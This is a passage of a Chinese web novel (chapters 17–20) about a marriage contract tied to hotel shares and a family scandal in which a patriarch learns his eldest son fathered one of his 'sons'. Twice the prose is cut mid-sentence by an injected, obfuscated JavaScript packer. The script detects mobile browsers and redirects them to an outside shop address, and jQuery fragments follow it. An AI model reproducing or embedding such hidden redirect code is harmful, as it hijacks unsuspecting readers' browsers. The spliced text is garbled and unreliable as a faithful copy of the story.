宁衣初又似笑非笑看着他:“宁家老爷子亲自出面阻拦你,宁则书的父母齐上阵筹谋安排,看来他们是真的很想和你做一家人啊。” 贺适瑕不急不躁,温声回答:“据我所知,实现和贺家的婚约后,作为履行婚约的宁家人,可以拿到宁氏康宁大酒店的百分之五股份。” 宁衣初眨了眨眼。 贺适瑕:“宁家和贺家不同,贺氏虽然也有董事会、有外姓股东,但贺家人在董事会是说一不二的,当家人享有绝对的掌控权,其他董事能提建议,但当家人不听,其他人也没办法。” 宁家则因为初期经营规划不当,经历过几近难以维系的绝境,当时为了撑下去,让渡了诸多权利给董事会,甚至压了百分之十的股份由董事会集体管理。 贺家当时主事人是如今贺祖母的祖父,他也掺和着分了一杯羹,同时也和宁家的先祖认识了,而且结识后发现彼此十分投契。 有次两家人一起出门游玩,路途发生意外时,宁家先祖甚至舍命相救。于是,贺家先祖对“趁火打劫”了康宁的事有点不好意思了。 贺家先祖便在康宁的董事会斡旋,最终定下贺宁两家后辈的婚约,让董事会应承了,贺宁两家履行婚约之时,董事会要把名在宁家人手里、实为董事会管理的百分之十股份的一半,也就是百分之五交给宁家后人作为贺礼。 然而中间经历了三代人,到如今宁则书他们这一辈已经是第四代人了,两家婚约因为各种原因一直没能促成。 贺适瑕说:“所以,宁家人不是非我不可,是迫不及待想要拿回那百分之五的股份而已。” 宁衣初若有所思:“难怪呢,我就说他们那么重视宁则书,为什么非要他来联姻。” 17.第 17 章 康宁大酒店如今举国闻名,在酒店行业稳坐龙头,它的百分之五股份价值不菲,这是天大的好处,宁家人想让宁则书接这股份,但又舍不得宁则书婚姻不佳。 而贺家这一代人里,贺定邦的子女虽多且都未婚,人选挺多,但别的条件暂不考虑,光是他们都是母不详的私生子这一点,就足够宁家人抗拒了。 唯独贺适瑕,他是正经婚生子,他的母亲是贺家如今的当家人,他自己也口碑极佳,自然是最好的联姻人选。 虽然现在听贺适瑕说起来,两家这个婚约的来龙去脉还挺关键,但原书剧情里没提,反正因为“假少爷爬床”已经毁掉了就是了。 后续剧情发展里,虽然有真少爷宁则书在康宁董事会大展手脚的戏码,但股份方面的细节也没特意写,总之最后就是宁则书掌管了康宁。 “那贺家这边履行婚约的人能有什么好处吗?我看你爸妈也挺积极的。”宁衣初好奇。 贺适瑕摇了摇头:“这也是我所疑惑的,这场婚约对贺家来说其实谈不上得利。我问过我妈,她没有正面回答我。” 宁衣初想了想原书剧情,琢磨着难道是贺维安和唐青山、或者贺家什么把柄被宁家拿捏住了,所以贺家才宁肯“牺牲”贺适瑕出来联姻? 说着话,贺适瑕倒是突然想到了:“阿宁,你名义上也是宁家人,如今我们结婚了,也算履行两家婚约了吧,康宁那边的百分之五股份,要不我们去要要?还挺名正言顺的。” 宁衣初闻言,乐不可支道:“你当宁家人真那么蠢啊,他们防我跟防贼似的,我刚成年就让我签过协议,除非他们主动给我,不然我不可能拿到宁家的任何财产——我也挺纳闷,都这么防着我了,怎么就非要我留在宁家呢,我对宁家的名声影响有那么大吗?” 贺适瑕皱眉。 “不过我会让他们主动给我的。”宁衣初继续笑起来。 贺适瑕轻声问:“现在去宁家吗?” 宁衣初看了眼时间:“今天算了,有点晚了,去接了狗回贺家吧,明天再去宁家,正好有整天时间,我好慢慢收拾东西。” 于是贺适瑕叮嘱了他派来的那几个人继续在酒店查问,然后开车带着宁衣初离开了。 酒店离宠物医院距离不近,他们回到宠物医院时,天色已黑。 君子已经上了手术台,刚被麻醉,护士给它拍了照,正准备发给贺适瑕、告知进展,他们人就到了。 公狗的绝育手术简单,不到二十分钟就做完了,护士还端着刚从君子后腿间摘下来的两个东西,问贺适瑕和宁衣初要不要带走。 贺适瑕挑了下眉。 宁衣初的表情也一言难尽。 护士习以为常地说:“因为有的主人会想要一起带回家,保留下来作为纪念。当然,比较多的主人会觉得不好保存、没有必要,就不带走了。总之我们得问一下,才好决定怎么处置,避免后续纠纷。” 宁衣初指使贺适瑕拿手机:“拍张照,发给贺如竹跟他说一声,君子往后只能做柳下惠了。然后这东西就不带走了。” 宁衣初这样说了,贺适瑕只好拍了照,发给贺如竹之后,他就赶紧把照片删了,并不是很想把这种照片留在手机相册里,感觉像是赛博污染…… 刚做完手术,君子还没从麻醉中醒过来,看起来弱小可怜又无助。 听兽医说完了术后注意事项,他们就带着君子和医院开的消炎喷雾离开了。 刚回到贺家,贺如竹就干嚎着冲过来:“君子!我可怜的小君子,你的蛋蛋就这么没了,小小年纪就被迫失去世俗的欲望……” 贺如竹对宁衣初怒目相视:“肯定是你主使的!谁让你动我狗的!” 宁衣初冷着脸:“再说就把你也绝育了。” 贺如竹人如其狗,欺软怕硬,一下就被吓唬住了,还抽噎了声,气焰衰微下去。 贺适瑕把狗和药都交给贺如竹:“正好,你带回去照顾好。” 君子的麻药劲儿过了,已经醒了,脑袋搁在伊丽莎白圈上蔫哒哒的,任人摆弄。 贺如竹抱着狗,也垂头丧气起来:“六哥……祖母真的不会让我们回主宅了吗?” 贺适瑕回道:“你刚才对待阿宁的态度,不像是还把我当六哥的。” 贺如竹一噎,看向宁衣初。 宁衣初好整以暇地回看他。 贺如竹瘪了瘪嘴,不情不愿地嘀咕了句:“那对不起咯。” 宁衣初抬手摸了摸君子的狗头,然后抬脚走了。 贺适瑕跟上他。 贺如竹:“六哥!” 贺适瑕头也不回道:“先学会礼貌做人吧。” 贺适瑕和宁衣初往主宅回去了,贺如竹想到祖母说过的话,没敢追上去,如丧考批地抱着狗,一边嘀咕“我觉得宁衣初也没多礼貌”,一边走回回偏宅了。 晚餐时间,只有宁衣初和贺适瑕在餐厅吃饭。 贺适瑕的父母都还没从公司回来,而贺如雪的画廊今天有活动,她哄着心情不佳的贺祖母一起出了门,祖孙俩逛完画展直接在外面吃饭。 …… 第二天早上,还是贺适瑕开车,载宁衣初前往宁家。 今天是星期六,按宁家老爷子“古板”的性格要求,宁家人除非实在有事,不然都得待在宁家老宅,阖家欢乐。 听闻宁衣初回来了,还是贺适瑕和他一起回来的,宁家人都表情古怪,纷纷看向宁衣初的养父母——宁家如今的当家人宁绍仁和他妻子韩文华。 贺家算上还没完全被赶出去的贺祖父和贺定邦那些人,不算宁衣初,一共是有十二口人。 宁家则只多不少。 不过贺家人多,托的是贺定邦私生子女颇丰的福。宁家则多亏了宁老爷子老当益壮—— 宁老爷子今年正好八十岁,过去人生里结过四次婚。 他二十岁和第一任妻子结婚,有了大儿子和二女儿,这段婚姻维系了二十五年,以第一任妻子的病逝告终。 第一任妻子去世一年后,四十六岁的宁老爷子再婚,第二任妻子是比他小了十六岁的柳双,这段婚姻维系了十年,期间有了宁老爷子的三儿子和五女儿。 中间缺漏的老四,则是宁老爷子在第二段婚姻存续期间出轨所生的儿子。 柳双因不满宁老爷子出轨而离婚,而随着第二段婚姻结束,随即而来的是宁老爷子的第三段婚姻,这次的结婚对象就是他之前的出轨对象,比他小了三十一岁的于涟涟。 第三段婚姻开始的时候,宁老爷子五十六岁,第三任妻子于涟涟才二十五岁。 这段婚姻又维系了二十年,期间有了宁老爷子的六女儿和七女儿。 直到四年前, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16716165|188957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 第三任妻子于涟涟迫于形势,不得不离婚让贤,看着七十六岁的宁老爷子娶了彼时才二十四岁的第四任妻子陆溪。 陆溪嫁给宁老爷子时就已经怀胎九月,刚进宁家门,就生下了宁老爷子最小的儿子。 宁老爷子一共八个子女,年纪最大的已经六十岁,年纪最小的才四岁,其中只有长子和次女结了婚。 长子宁绍仁,长媳韩文华,两人育有两个儿子,分别是如今三十五岁的宁则棋,和二十二岁的宁则书。 次女宁安春,丈夫是入赘的,名叫王冕,两人结婚三十余年,一直没有孩子。 老三宁绍义如今三十二岁,从他往下的弟弟妹妹们都还没有结婚,也没有往家里带私生子女,不然宁家能更热闹。 不过宁家如今也足够热闹——宁老爷子的第二任妻子柳双和第三任妻子于涟涟,在离婚后仍然住在宁家。 柳双早年是不忿宁老爷子出轨,主动选择的离婚,离婚后环球旅行了一圈,觉得不考虑婚姻的情况下还是宁家待着舒服。看在她给宁家添了一双儿女的份上,宁老爷子也默许了她回宁家住。 于涟涟则是被迫让位,离婚后就没离开宁家,宁老爷子仍然看在儿女的份上没有再赶她。第四任妻子陆溪对此虽然不高兴,但也没办法。 ——就宁家这个家风,宁衣初实在想不通,宁家这些年非要把他强行摁在这家里,就为了让外界觉得宁家人善心,从而改善宁家名声?只怕收效甚微吧。 托宁家对外说辞的福,宁衣初这些年在外面的确没少受白眼嘲讽,但就宁衣初所知,这并没能压下宁老爷子个人作风树立出的宁家口碑,顶多给旁人添了一件笑料而已。 总之,综上所述,不算上宁衣初,宁家合计十六口人。 不过这会儿宁家只有十五个人在,全家最宝贝的小少爷宁则书有事没在家。 “小初回来啦,还真巧,你挑了个小书不在的时候回来。”陆溪笑着开口道。 要是不听她说的话,单看神色,是半点看不出来嘲讽和不欢迎。 宁老爷子沉着脸:“你回来干什么?适瑕也来了,脖子上怎么了,受伤了?” 看到贺适瑕颈间贴着纱布,宁老爷子还是关心了下,得到贺适瑕“一点小伤,已经没事了”的回答后,他就没再过问,转而语气责备起来:“你怎么也跟这小兔崽子一样没规矩了,突然造访之前,连个电话都不知道提前打吗?” 宁衣初乐道:“都是一家人,提前通知你们迎接也未免太见外了,不用。” 宁老爷子脸色更难看了。 宁衣初的养兄宁则棋冷笑了声:“敢情是带着靠山回来耀武扬威了?显摆错地方了吧?” “这肚子里有个姓贺的孩子就是不一样啊,咱们小初说话都硬气了,比以前外向多了。”宁老爷子的第二任妻子柳双笑道。 宁衣初的养父母神色都不好看,养父宁绍仁严肃着脸:“行了,适瑕,小初,你们来有事吗?这个上门态度,可不像是来正经走亲戚的。” “你要是想找小书炫耀,那可惜了,他今天真不在,你换个时间来吧。”宁老爷子的三儿子、也是在宁衣初小时候推他下楼过的宁绍义突然开口。 “他不在吗?要不叫回来吧。”宁衣初兴致盎然,“毕竟叔叔马上要变成兄弟了,认亲现场都不在,以后得多遗憾啊。” 18.第 18 章 宁家人一静,然后闹起来—— “宁衣初你什么意思?!” “你把话说清楚!” “叔叔变兄弟,呃……” “疯了吧,一大清早跑来说这种莫名其妙的话。” “就算你现在是贺家人了,也没这么报复宁家的吧……” 也有人下意识看向了宁老爷子,还有宁老爷子才四岁的小儿子…… 宁老爷子今年都八十了,有个四岁的儿子,宁家有人之前就怀疑这孩子是不是宁老爷子亲生的,还明里暗里建议过宁老爷子做个亲子鉴定,不过都被宁老爷子吹胡子瞪眼地骂回去了。 宁衣初现在这席话虽然突然,但……未必是假啊。 身为宁老爷子的现任妻子、四岁小儿子的亲妈,陆溪看到众人的反应,不高兴道:“你们看我儿子干嘛!我儿子就是老爷子亲生的!” 柳双——宁老爷子的第二任妻子——看热闹不嫌事大地说:“不一定吧,这么肯定吗?要我说啊,老爷子还是该做个亲子鉴定,做完了贴在康宁的大门口,也省得外面都在怀疑宁老爷子老来得子,得的是不是自己的亲生儿子。” “闭嘴!是不是我亲生儿子我不知道吗!”宁老爷子怒目相视。 柳双也不怕他,她都六十多的人了,还怕个老头做什么。她继续道:“哟,老爷子这火眼金睛厉害啊,看一眼就能做亲子鉴定了。” 陆溪气急败坏:“小智生下来后,老爷子做过亲子鉴定了!你们别想造谣毁我清白,小智就是老爷子的亲儿子!” 宁老爷子脸色更不好了。 其他人也讶异。 老三宁绍义,是宁老爷子和第二任妻子柳双的儿子,他说:“爸你去做过亲子鉴定啊?” 老四宁绍礼乐道:“看来爸你对自己也没那么有信心啊,就是嘴硬,不服老,连做过亲子鉴定都不敢承认。” 他是宁老爷子在第二段婚姻期间,出轨了第三任妻子于涟涟生的儿子,后来于涟涟嫁给宁老爷子时,宁绍礼已经六岁了。 听到宁绍礼这样说,宁老爷子的怒气尚未宣之于口,于涟涟就先呵斥了他:“绍礼!怎么跟你爸说话的!” 宁绍礼皱眉:“妈,你今天怎么这么安静?” 于涟涟一顿。 柳双也觉得不对劲了:“是啊,你今天怎么这么安静?居然没对陆溪落井下石?” “等等,既然爸做过和小弟的亲子鉴定,确定小弟是他的亲生儿子,那问题就不在陆溪身上咯?”这话是柳双的女儿、宁老爷子的五女儿宁安夏说的。 她一脸惊讶地看向于涟涟:“于姨这么反常,不会是心虚吧,小初说的身世有问题的‘叔叔’难道是于姨的儿子,于姨就绍礼这一个儿子……哎呀,绍礼你刚才看乐子,不会看到你自己身上了吧?” 于涟涟脸都涨红了:“胡说!绍礼的身世没有问题!” 老三宁绍义附和亲妹妹道:“我说呢,当年于姨和爸结婚,绍礼回到宁家,怎么就更愿意和比他大了五岁的则棋玩,都不愿意和我这个只大了两岁的哥哥亲近,敢情则棋才是他哥啊。” 这话就属于落井下石胡乱丢了。 宁绍义的母亲是柳双,宁绍礼的母亲是于涟涟,就这关系,他们之间注定不和平。 至于宁则棋,虽然辈分上是宁绍义和宁绍礼更大,但年龄上宁则棋比宁绍义大三岁、比宁绍礼大五岁,实在是很难把辈分放在年龄之前考虑。 早年其实不光是宁绍礼,宁绍义自己也和宁则棋玩在一起……不然也不会有和宁则棋打赌输了,结果去推才八岁的宁衣初下楼这件事了。 宁绍礼正要争辩,但这时众人的大哥、宁老爷子的长子、宁衣初的养父宁绍仁开了口:“够了!听宁衣初这个混账瞎说什么!他胡言乱语,你们还都当真了,一个比一个起劲!” 他的妻子、宁衣初的养母韩文华惊疑不定地看着他……毕竟,按宁衣初的说法,不论是哪个“叔叔”有问题,都和宁绍仁脱不开关系…… 宁老爷子的次女、和长子宁绍仁一样都是第一任妻子留下的孩子,宁安春说:“好了,都静下来吧,人家就说了一句话,我们这么多人七嘴八舌的,平白给人看笑话。” 接着宁安春看向了宁衣初—— 宁家人多热闹,一个人说一句话都要十五句话的时间,也不缺互相不对付的,你呛我一句我怼你一句就更火热朝天了,刚才众人说着说着甚至都没注意到,宁衣初已经自行在空置的沙发上坐下了,贺适瑕就坐在他身边,沉默得像今天专职来做保镖的。 “小初,你把话说清楚,什么叫‘叔叔变兄弟’?你这不光是在给柳姨和于姨泼脏水,戳你们祖父的心,还在给你爸泼脏水,暗示是他和谁出轨了,给你们祖父戴了绿帽子,你知道吗?”宁安春说。 宁衣初莞尔:“二姑,我没暗示,明示来着。” 宁绍仁横眉立目:“不孝子你想清楚了再说话!” 宁绍礼看着自己的母亲于涟涟脸上透露出的心虚,心下发慌。 “四叔是于姨和爸您的亲儿子,我这话够不够清楚,爸?”宁衣初油盐不进的一脸从容。 宁家其他人感觉眼睛不够用了,又想看当事人宁绍仁和于涟涟,还有身世有疑起来的宁绍礼,又想看疑似被绿的宁老爷子和宁绍礼他妻子韩文华,还想看宁绍礼和韩文华的长子宁则棋现在是什么反应,以及宁衣初和贺适瑕此时的态度也实在让人忍不住多看几眼。 总之“涉案人物”众多,让人眼花缭乱应接不暇。 柳双事不关己,看戏看得和宁衣初一样有兴致。 她还夸张地喊了声:“天啦!绍礼本来就是老爷子出轨于涟涟生的,所以其实当时绍仁也出轨了于涟涟,还和于涟涟有了孩子,一起给老爷子戴了绿帽子!瞒了这么多年吗!” 极大的冲击下,宁老爷子人都是恍惚的,他颤抖着手指向宁绍仁:“老大,你说,真的还是假的?” 宁绍 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宁老爷子听了宁绍仁坦荡荡的话,本来觉得宽慰一点了,但扭头一看到于涟涟那模样,就知道确实有问题,于是火气更大了。 但宁老爷子不想让“外人”看笑话,所以压着火气叫佣人,指着宁衣初和贺适瑕说:“把他们请出去,你们也都滚出去!” 宁衣初靠在沙发上:“不让我在这听,小心我出去拿喇叭宣扬哦。” 这时宁衣初的养母、宁绍仁他妻子韩文华受不了了,她突然站起来,抬手给了宁绍仁一巴掌:“你把话给我说清楚!你和于涟涟怎么回事!” 宁绍仁没料想到这一茬,被打了个结实,捂着脸道:“你疯了?!你不信我?” 韩文华一指于涟涟:“我信你?我怎么信你?她就差把你们之间有奸情写在脸上了!” 一直沉默不语的宁则棋站起身,扶住了韩文华:“妈,先听爸解释。” 宁绍仁并没打算改口:“解释什么?我没什么需要解释的,我行得正坐得端,你们在干什么?宁衣初这个小兔崽子说两句挑拨离间的话,你们就信了?造谣生事说的就是他这种混账玩意儿!看看我们宁家养出了个什么样的白眼狼!” 宁衣初好整以暇地回:“我火候还不够,论白眼狼比不过爸您……” 宁绍仁:“闭嘴!” 看到亲儿子这反应,再看看于涟涟,宁老爷子都明白了,他怒火滔天,懒得管佣人还在不在,也不赶宁衣初和贺适瑕走了:“让他说!我看他能说出什么花来!” 韩文华也吼道:“宁绍仁你敢做不敢当吗!你个畜生!居然敢背叛我!我打死你!” 说着她又要给宁绍仁巴掌,宁绍仁自然要躲,宁则棋在旁边拦也不是不拦也不是,索性束手不动了,扭头看着宁衣初。 宁衣初笑眯眯地继续说下去:“……出轨小妈给亲爹戴绿帽子,对着自己的儿子喊了这么多年弟弟,让自己的几个儿子以叔侄相称……别说,还挺忍辱负重。” 19.第 19 章 宁衣初话音刚落,于涟涟就呜咽一声哭出来,想也不想就从沙发滑下来跪坐到了地上,对着宁老爷子说:“不是这样的,你听我解释……” 四十九岁的于涟涟其实保养得宜,这会儿哭起来看着仍然有梨花带雨的感觉,但宁老爷子看不进去,甚至抬脚想要踹:“贱人!” 于涟涟只是装哭,本来就紧盯着老爷子的反应,见状想也不想地躲开了,宁老爷子一脚踹了空,还差点从沙发上跌下来,好不狼狈。 看到亲妈这样,宁老爷子的六女儿宁安秋和七女儿宁安冬回过神来,连忙过去扶人和阻拦。 “爸!您别急,听妈解释啊……” 旁边韩文华还在扭打宁绍仁,被宁绍仁一把推到了地上,宁则棋这才收回看着宁衣初的视线,去搀扶韩文华。 至于身世被直接点出问题的老四宁绍礼,他还恍恍惚惚地坐在原地没动弹——他想,完了,他以前本来就对老爷子不大尊敬,是正儿八经的“不孝子”,老是随心所欲气老爷子,现在他不是老爷子的亲生儿子了,虽然从血缘来说是宁家的孙辈,但老爷子肯定不会认,他要被赶出宁家了…… 想到这里,宁绍礼一个激灵,跳起来就冲宁衣初去了:“你个贱人要害我!你要害我们全家……” 贺适瑕皱着眉站起身,擒住宁绍礼打过来的胳膊,抬脚踩下宁绍礼没章法要乱踢的腿,就把人推了回去。 宁绍礼跌跌撞撞大退了几步,撞到了茶几上,然后彻底稳不住身形,摔在了茶几上,胳膊和腿碰到边角,疼得他龇牙咧嘴地骂。 宁老爷子的第二任妻子柳双,和她生的老三宁绍义、老五宁安夏,稳坐在沙发上看乐子。 现任妻子陆溪则抱起了在玩玩具的小儿子宁绍智,走到另一边躲远了点。 柳双这时还添油加醋了句:“绍礼的身世有问题的话,秋秋和冬冬不会也是于妹妹你和绍仁的女儿吧?” 焦头烂额想要控制局面的宁安秋和宁安冬,听到这话都身体一僵。 “不是!”于涟涟这次不心虚了,大声回答,“秋秋和冬冬就是老爷子的女儿!去做亲子鉴定,我不怕!” 柳双笑道:“那绍礼呢?” 于涟涟声音低下去,看向宁老爷子,嗫嚅说:“那……那也不怪我啊,我那个时候才多大,我能怎么办……” 韩文华冲她吼:“宁绍礼这个野种到底怎么来的!你说清楚!” 宁绍礼从茶几上滑下来,坐在地上,一边疼得抽气,一边吼回去:“谁是野种!” 贺适瑕重新坐回宁衣初身边。 宁衣初靠在沙发上,因为带了略微的笑意,所以眼尾轻轻扬起,左眼眼尾那颗细小的红痣被压住,更加不容易看见了。 对面,于涟涟已经放弃挣扎地说起了早年的经过,宁老爷子脸红脖子粗的,和其他人一起听着。发展到这个地步,宁绍仁也没再阻拦抗辩。 三十二年前,十七岁的于涟涟跟着老乡进城打工,那老乡当时在康宁大酒店做个小领班,把于涟涟安排进去做了个保洁的工作。那年头各方面规章还没如今这么严格,于涟涟虽然未成年,但也顺利入职了。 在康宁大酒店工作了一年后,于涟涟作为有资历的“老人”,可以负责更高档次的客房保洁工作了,这样她的工资也有提高,而且有钱的客人有时候看到保洁,还会给点小费,这种额外收入可以自己收着。 没过多久,于涟涟恰巧打扫到了宁绍仁住的客房。 宁绍仁前一夜应酬到凌晨,所以随便在自家酒店开了个房间睡觉。还没睡够,被保洁打扰了,宁绍仁本来是很不快的,但看到保洁是个年轻漂亮的小姑娘,宁绍仁起了色心,趁着于涟涟打扫卧室时,直接把她压到了床上。 于涟涟起先也很惊恐,她在那之前从没有过用身体接近有钱客人的想法,但宁绍仁力气大、她挣脱不开,宁绍仁还哄她说对她一见钟情,那时候的宁绍仁还没满三十,看上去就是个青年才俊,于涟涟一时被迷了眼,就顺从了。 “你放屁!说得跟你多单纯无辜一样,你当初压根就没挣扎!你就是想钓金龟婿,以为我是个好人选,没想到没成罢了!”宁绍仁不认同于涟涟的说法。 于涟涟咬牙:“就是你主动的!” 宁绍仁:“我犯不着强迫女人,我当时就说过了,你要是不乐意就走,是你自己说也对我一见钟情,然后躺好的!” “敢情是郎有情妾有意啊。”柳双见缝插针地拱火。 这时,韩文华又一巴掌甩到了宁绍仁脸上,她反应过来了:“你住个酒店看到个保洁就往床上拉,这么娴熟,你大爷的这些年在外面没少偷腥是不是!宁绍仁我跟你拼了!” 宁绍仁也不装了,推开韩文华:“是!那又怎么样?谁叫你一到床上就装,一点意思都没有!” 韩文华尖叫着踹宁绍仁。 于涟涟也不管那边的“打闹”,对着其他人继续说当年的事。接下来的讲述中,她倒也没再遮掩自己当年的确是为了攀龙附凤。 当年发生关系后,宁绍仁直接给了于涟涟钱,于涟涟拿着钱很吃惊——她没想到宁绍仁就是想要上次床,连收她做个地下情人、维系一段时间的打算都没有。 可于涟涟没办法,也不敢跟宁绍仁闹,只能暗恼自己走眼。 那次之后过了没多久,宁家在康宁大酒店办宴会,于涟涟这才发现,原来宁绍仁是整个酒店的少东家,他爸就是康宁的大老板……这让于涟涟更加懊悔错过了宁绍仁。 但随即,她发现宁绍仁的父亲、当年还没满五十的宁老爷子身边,跟着的是个比他小了十多岁、年龄差非常明显的年轻妻子。 于涟涟一合计,虽然宁老爷子年纪大了些,但有钱有势还老不正经,可以试着勾搭——结果非常顺利,年轻貌美又刻意讨好的于涟涟,很轻易就获得了宁老爷子的青睐。 但没有到能为了于涟涟,就和当时的妻子离婚的地步,宁老爷子只愿意把于涟涟当小情人养在康宁大酒店的客房里,方便他随时找她。 于涟涟遍观宫斗宅斗戏码,觉得自己争宠上位还缺个孩子,可宁老爷子那时候不常找她,她也怀疑宁老爷子还能不能让人怀孕。 这时候,于涟涟正巧又碰到了宁绍仁。宁绍仁不知道于涟涟已经做了老爷子的情人,看到她想起先前的滋味,便又想哄她进房间上床。 于涟涟一寻思,宁绍仁年轻、让她怀孕的机会比较大,而且宁绍仁是宁老爷子亲儿子,以后孩子生出来也不怕和宁老爷子长得不像…… 那次于涟涟故意弄脱了避孕套,宁绍仁精|虫上脑也没在意,事后还和于涟涟约下一次,想要怀孕的于涟涟欣然应允。 一个月后,于涟涟检查确认自己怀孕了,欢天喜地跟宁老爷子说。但宁老爷子那时候已经有三个孩子了,两年前刚和第二任妻子有过一个新生儿,所以虽然也开心,但并没有多激动,自然还是没打算让于涟涟上位。 不过看在于涟涟怀孕了的份上,宁老爷子给她安排了房子和佣人,没让她继续住在酒店。 宁绍仁没再在酒店找到于涟涟,当时也没多想,反正他也不缺女人。 但宁绍仁没想到,几年之后柳双发现宁老爷子在外面有情人,那情人居然就是于涟涟,而且于涟涟还给老爷子生了个孩子,那孩子的年纪算起来,宁绍仁越想越慌。 所以宁绍仁直接找到于涟涟问了,于涟涟很“坦荡”,说她那段时间当然也跟老爷子上过床,所以她也不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16725301|188957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 确定孩子的亲爹到底是哪个,让宁绍仁担心的话可以去亲子鉴定。 结果鉴定出来,宁绍礼是宁绍仁的亲儿子。 听到这里,宁老爷子几乎心梗过去,他看着宁绍仁:“你在我跟于涟涟结婚之前就知道这件事了,你还看着我跟她结婚!你不知道拦吗!” 宁绍仁撇了撇嘴:“我拦得住吗?当年我妈刚走一年,你就要二婚再娶,我和小春没拦吗,你不是照样娶了。” 宁老爷子手指颤抖地指着他,几乎说不出话来:“你、你、你这个……不孝子!” 宁绍仁又说:“但那之后我和于涟涟就没来往了,秋秋和冬冬……我也不知道是不是爸你的女儿,于涟涟能借种一次,难保没有第二次第三次,反正我只能确定不是我的女儿。” “宁绍仁你有病啊!”于涟涟骂道,又跟宁老爷子说,“秋秋和冬冬绝对是你女儿,你去做鉴定!我当时都已经嫁进来了,还有绍礼这个儿子了,我没必要再多生孩子争宠了,我也没在外面找男人玩,我又不是好日子过够了,我不怕你发现吗!你这年纪都还能有个四岁的儿子,二十多年前我给你生了两个女儿怎么就不行了!” 宁绍礼的身世被质疑,于涟涟心虚气短,但她现在的反应和刚才截然相反,显然的确十分有底气。 宁老爷子苦笑:“行,好歹还给我生了两个亲女儿。” 柳双啧了声:“老爷子也别装什么苦情可怜人了,绿人者人恒绿之没听过吗,你当初不也是出轨找的于涟涟吗。” 宁老爷子瞪她:“你也想滚出宁家是不是!” 柳双无所谓地摊手:“得亏我和你离得早,你那会儿还大方,分给我的钱挺多的,我反正去哪儿都吃喝不愁。再说现在儿女都这么大了,都自己能走,你小心赶我出去以后门庭冷落啊。” 宁老爷子气得捂上了心脏。 宁衣初乐不可支道:“得亏祖父老当益壮,不然心脏病都要气出来不可。” 柳双:“能不老当益壮吗,结四次婚,结婚对象一次比一次年纪小。” “够了!”宁老爷子怒吼了声。 然后他指着于涟涟:“你马上给我滚出宁家!带上宁绍礼这个野种滚!” 听到妈妈和哥哥要被赶出去,宁安秋和宁安冬都想要求情挽回,但刚开口喊了声“爸”,宁老爷子就说:“你们要是敢求情,就跟你们的妈一起滚!我宁家不缺两个女儿!” 于涟涟咬牙不服:“你冲女儿吼什么吼!这可是你亲女儿!还有,你赶我走,行,但绍礼是你们宁家血脉,你不能赶他走!” 宁老爷子气得喘不上气:“做梦!” 他恶狠狠瞪着这会儿压根没敢说话的宁绍礼:“这就是个野种!” 然后宁老爷子看向宁绍仁:“你要认这个野种?” 宁绍仁半点没有犹豫地摇头:“不,爸。” 宁老爷子这才舒服了点,点点头:“他名下的财产都是宁家的,全部拿回来,把这对母子赶出去,这件事你来办。” 宁绍仁点头:“知道了。” 宁绍礼刚才一直不吭声,是怕宁老爷子听到他的声音更生气,而且他知道自己说话不中听,这一时半会儿改不了,也就不想火上浇油。 可眼睁睁看着半点回旋余地都没有了,宁绍仁这个血缘关系上的亲爹、实际也是看着他长大的“大哥”居然也丝毫不留情面,宁绍礼坐不住了。 他习惯性冷嘲热讽,对宁老爷子说:“老爷子果然是年纪大了,知道自己斗不过大儿子,只能逞逞太上皇的假威风,实际连儿子给自己戴了这么多年的绿帽子都不敢吭声,呵呵,父慈子孝。” 宁老爷子被气得喘了一口长气,然后这次没撑住,往后倒了过去。 20.第 20 章 “爸!” “祖父!” 宁绍礼没想到自己的话成了最后一根稻草,把宁老爷子压倒了,不由得有些心虚起来。 刚才没插嘴的人都围上了宁老爷子,陆溪也把四岁的宁绍智交给佣人,然后走到宁老爷子身边,好奇问了句:“老爷子不好了吗?” 这话和语气听不出来什么关心,但这时候宁家人也没空跟陆溪纠结这个。 “都散开,叫佣人来把爸抬回房间去,再把医生叫过来。”老二宁安春安排道。 宁绍仁关切地看着宁老爷子,然后没防备到,被韩文华又踹打了几下。 他恼怒道:“你还没完没了了!” “你还理直气壮!老不要脸的东西!”韩文华啐了一口,又叫佣人,“给我收拾行李!我要回韩家去,这糟心的鬼地方没法待了!” 和出身都不太好的柳双、于涟涟、陆溪不同,韩文华的娘家是宁家的商业伙伴,两人的婚姻早年属于两家强强联合。只是多年过去,宁家发展更好,韩家有些颓势,但总归还是在豪门圈里的,韩文华虽然在宁家没什么实际的权柄,但并不是离了宁家就孤零零了。 宁绍仁烦道:“一大把年纪了还折腾什么,想被人看笑话吗!都是早年的事了,我早就没在外面乱来了。” 韩文华哈了一声:“是你不想乱来了,还是你想也有心无力啊!果然你跟你爸一个德性!你爸是个老不羞,一次比一次娶得年轻,你也是个死不要脸的,你是不是早就盼着我和你妈一样早点死了,好让你跟你爸一样春风得意晚节不保啊!还好意思为你妈打抱不平,你又是个什么重情重义的好东西!” 宁绍仁最不喜欢听人说他早死的妈,当即想要对韩文华动手,被宁则棋拦住了。 “爸,妈,你们分开一阵冷静一下挺好的。爸,你去顾着祖父吧,还有于姨和……宁绍礼的事,不也要你处理吗。妈,我陪你回房间收拾行李吧。”家里出了这么大的乱子,宁则棋看上去倒是挺稳重,也挺无动于衷。 陪着韩文华离开客厅前,宁则棋回头,深深看了宁衣初一眼。 